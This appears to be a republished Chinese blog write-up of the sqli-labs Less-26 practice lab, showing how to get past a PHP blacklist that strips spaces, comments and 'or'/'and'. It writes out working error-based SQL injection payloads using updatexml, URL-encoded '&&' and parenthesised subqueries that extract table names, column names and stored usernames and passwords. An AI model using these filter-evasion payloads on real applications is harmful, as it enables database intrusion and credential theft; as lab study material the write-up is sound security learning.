当前位置:网站首页>SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
2022-07-28 11:24:00 【华为云】
function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id;}尝试绕过空格
替换空格:
(1)mysql空白符:%09、%0A、%0B、%0D、%20、%0C、%A0、/**/(2)正则空白符:%09、%0A、%0B、%0D、%2025%为百分号,%25A0就是空白符%09——TAB键(水平)%0a——新建一行%0c——新的一页%0d return 功能%0b——TAB键(垂直)%a0——空格==内联注释常用于绕过空格==
尝试了一下,发现绕过不了空格
由于Windows下无法使用一些特殊字符来替换空格,Linux可以,可以去Linux下尝试
不使用空格的注入方法(报错注入)
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
%26是&的url编码。
因为and前后都必须要有空格,所以使用&&
但是&&不能够正常的提交给服务器,所以我们必须输入他的url编码%26%26才行。
用||也可以,更好用
?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
==注意这里用括号包裹语句,绕过空格==
用括号()将每个查询的部分独立开
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security"%26%26table_name="users")),0)%26%26'
near 'LIMIT 0,1'
这个问题,之前报错注入也出现过,可能是多出了Limit 0,1导致构不成整条语句了
也有可能是这里(table_schema="security"%26%26table_name="users")出现了问题
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(username,passwoorrd))from(users))),0)%26%26'
https://blog.csdn.net/weixin_43901998/article/details/107340272
https://blog.csdn.net/weixin_43901998/article/details/107340272
边栏推荐
- Business visualization - make your flowchart'run'(4. Actual business scenario test)
- Lua对table进行深拷贝
- 【补题日记】[2022牛客暑期多校2]D-Link with Game Glitch
- Unity one key replacement of objects in the scene
- STL の 概念及其应用
- [diary of supplementary questions] [2022 Niuke summer multi school 2] i-let fat tension
- Interpretable ml of Li Hongyi's machine learning model
- 多线程与高并发(三)—— 源码解析 AQS 原理
- Client service registration of Nacos registry
- js代码如何被浏览器引擎编译执行的?
猜你喜欢

tolua之wrap文件的原理与使用

Alexnet - paper analysis and reproduction
![[leetcode] 7. valid anagram · effective letter ectopic words](/img/bc/9806df1358c6f09db03ef2e771aa5a.png)
[leetcode] 7. valid anagram · effective letter ectopic words

An example of the mandatory measures of Microsoft edge browser tracking prevention

Know the optical fiber interface and supporting optical fiber cable of can optical fiber converter in fire alarm networking

Develop your own NPM package from 0

Redis安装

Training mode and practice of digital applied talents in Colleges and Universities under the integration of industry and education

Distributed system (III) construction of distributed transaction service

从0开发一个自己的npm包
随机推荐
Start from scratch blazor server (2) -- consolidate databases
Character function and string function (Part 1)
可视化大型时间序列的技巧。
PFP会是数字藏品的未来吗?
2022.07.06 summer training personal qualifying (I)
How is the JS code compiled and executed by the browser engine?
Deployment and use of Minio distributed object storage
Learn to use MySQL explain to execute the plan, and SQL performance tuning is no longer difficult
AlexNet—论文分析及复现
Techniques for visualizing large time series.
2022.07.11 summer training personal qualifying (VI)
Simple selection sort and heap sort
AlexNet—论文分析及复现
Network communication protocol classification and IP address
Alexnet - paper analysis and reproduction
[diary of supplementary questions] [2022 Niuke summer multi school 2] l-link with level editor I
The reflect mechanism obtains the attribute and method information of class
Style conversion model style_ Transformer project instance pytorch implementation
Reasons and solutions for moving the first column to the last column in El table
“蔚来杯“2022牛客暑期多校训练营2